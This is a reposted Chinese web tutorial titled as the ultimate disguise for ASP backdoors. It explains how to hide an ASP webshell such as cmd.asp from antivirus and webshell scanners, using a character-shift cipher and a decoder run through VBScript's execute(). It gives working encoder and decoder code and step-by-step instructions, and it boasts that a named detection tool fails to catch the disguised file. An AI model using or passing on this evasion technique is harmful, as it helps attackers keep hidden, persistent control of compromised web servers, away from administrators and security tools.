设为首页
加入收藏
帮助中心
首页 | 红盾通告 | 信息中心 | ASP技术 | 数据库 | 网页设计 | 网管专栏 | OICQ攻略 | 墨客频道 | 网站运营 | 论坛社区
当前位置:首页 >> ASP技术 >> ASP应用 >> 正文
最新信息
·ASPJpeg和ASPUpload组件的…
·用ASP和SQL语句动态的创建…
·asp生成excel报表
·四大 FCKeditor 实战应用技…
·FCKeditor 2.0 的设置.修改…
·FckEditor中文配置手册详细…
·asp生成不重复的随机数字
·asp的冒泡排序
·0-29内取15个不同的随机数…
·ASP导出Excel数据的四种方…
资料搜索
热点信息
·Javascript+ASP制作树形菜…
·AspUpload组件的UploadedF…
·FckEditor中文配置手册详细…
·同时提交到两个表--代码对…
·ASP 随机图片
·ASPUpload组件介绍
·0-29内取15个不同的随机数…
·用ASP生成二维饼图
·使用ASP生成图片彩色校验码
·asp封装dll经验小结
推荐信息
·用ASP生成二维饼图
·一个取图片尺寸的类,支持…
·随即文件名
·ASP 随机图片
·本地图片,音乐等ASP防盗代…
·ASPJpeg和ASPUpload组件的…
·如何实现网上考试?
·用ASP打开远端MDB文件的方…
·ASP编写完整的一个IP所在地…
·用ASP实现远程批量文件改名



Google
 
ASP后门之终极伪装
〖来源:不详 | 作者:未知 | 编辑:Cloudy | 浏览:人次〗

记得当年asp木马出来的时候号称“永不被杀的木马”,呵呵,时至今日,随便什么杀毒软件都能将其杀得片甲不留^_^呵呵,受到木马换壳躲避杀毒软件思路影响,我们也可以给asp木马“加壳”(呵呵,当然不是用UPX等)。还等什么?请往下看。

  其实这个思路很简单,就是把asp代码编码,执行时再解码。这里有两个方法,一是用微软的工具Script Encoder;二是利用asp的execute函数。


  先说说Script Encoder。这个东东可以在微软官方网站免费下到,而且还附赠详细使用说明,这里就不多说了吧。但是经过它加密后的文件会有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露马脚了,管理员看到这句话就知道这个asp文件被加密了。那怎么解密呢?这里提供一个解密软件(》点击进入下载《)。现在知道了吧,微软的Script Encoder不保险,所以呢,我们要自己写一个程序出来“加壳”。


  asp的execute函数是拿来执行字符串的,即是说可以把asp语句写成字符串,然后用execute来执行。比如这行代码:execute("response.write(""hackerXfiles"")"),执行后的效果等同于执行response.write("hackerXfiles")。这里由于execute函数里的东东是字符串,故遇到引号要双写。呵呵,既然execute里是字符串,那么我们就可以把里面的东东拿来加密了。

  怎么加密呢?呵呵,就用最简单的移位法好了。请看代码:


  but=1
  cc=replace(nr,vbcrlf,"胡")
  for i= 1 to len(cc)
    if mid(cc,i,1)<>"胡" then
      pk=asc(mid(cc,i,1))+but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      temp=temp&chr(pk)
    else
      temp=temp&"胡"
    end if
  next
  temp=replace(temp,"""","""""")
  response.write(temp)

  这段代码就是asp下的循环移位法。那个变量but就是移位的位数,可修改。呵呵,怎么叫循环呢?因为程序会比较字符的ascii码,当大于126或者小于32时就会处理,使范围在32~126之间。因为这样可以避免出现windows不能显示的字符。这也是一开始就把回车换行符替换掉的原因。这里我自己写了一个移位加密的asp程序xor.asp附上,希望对你有帮助。

  那就让我们来看看用上面代码把response.write("hackerXfiles")加密后的结果:“sftqpotf/xsjuf)#ibdlfsYgjmft#*”,嘿嘿,这回神仙也看不懂了吧^_^

  既然加了密,当然要解密啦,看解密代码:

function UnEncode(temp)
  but=1 '这个是移位法所移的位数!注意修改此处与加密时使用的一致
  for i =1 to len(temp)
    if mid(temp,i,1)<>"胡" then
      pk=asc(mid(temp,i,1))-but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      a=a&chr(pk)
    else
      a=a&vbcrlf
    end if
  next
  UnEncode=a
end function

  呵呵,现在知道怎么执行了吧,只需调用这个解密函数就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎么样,是不是顺利执行了!

在这里给大家一个示范,好让大家明白怎么加密asp木马。由于海洋的asp木马代码太多,我人又懒,就拿那个短小精悍的cmd.asp来示范吧!

  首先运行我写的那个xor.asp,然后用记事本打开cmd.asp,将它的asp代码部分复制到xor.asp的文本框(看图),

填好移位参数(这里我用的1),点“转换”,呵呵,结果就出来了。然后新建一个文本文档,把cmd.asp的内容复制进去,前面那个UnEncode函数内容也添进去(这里要注意修改UnEncode函数里变量but的值与加密时选的移位参数值一致),然后把它的asp部分替换成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密结果赋值。呵呵,然后保存为asp文件就ok啦!这里就再罗嗦几句。如果代码比较长,可以分成几部分加密,然后多用几个execute执行就是,但是要注意必须保证asp代码的完整性,也就是说不能把相关联的代码如if、end if分到两个execute里去了。

  看看吧,同样可以运行!

  8期的光盘里有个思易ASP木马追捕器,呵呵,正好顺手拿来检测我们今天的成果。嘿嘿,看结果,它对cmd.asp原版本和用Script Encoder加过密的海洋顶端网的2005版可以检测到,而对我们刚才精心炮制的xcmd.asp却什么都检测不到!呵呵


录入时间:2006-04-28 20:12:32 [打印本页] [关闭窗口] [返回顶部]
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

Copyright © 2006-2008 0733168.Com Inc All Rights Reserved
关于我们 | 广告合作 | 联系我们 | 法律声明 | 友情链接 | 意见反馈
本站所收录信息、社区话题、及本站所做之广告均属其个人行为,与本站立场无关
湘ICP备06008436号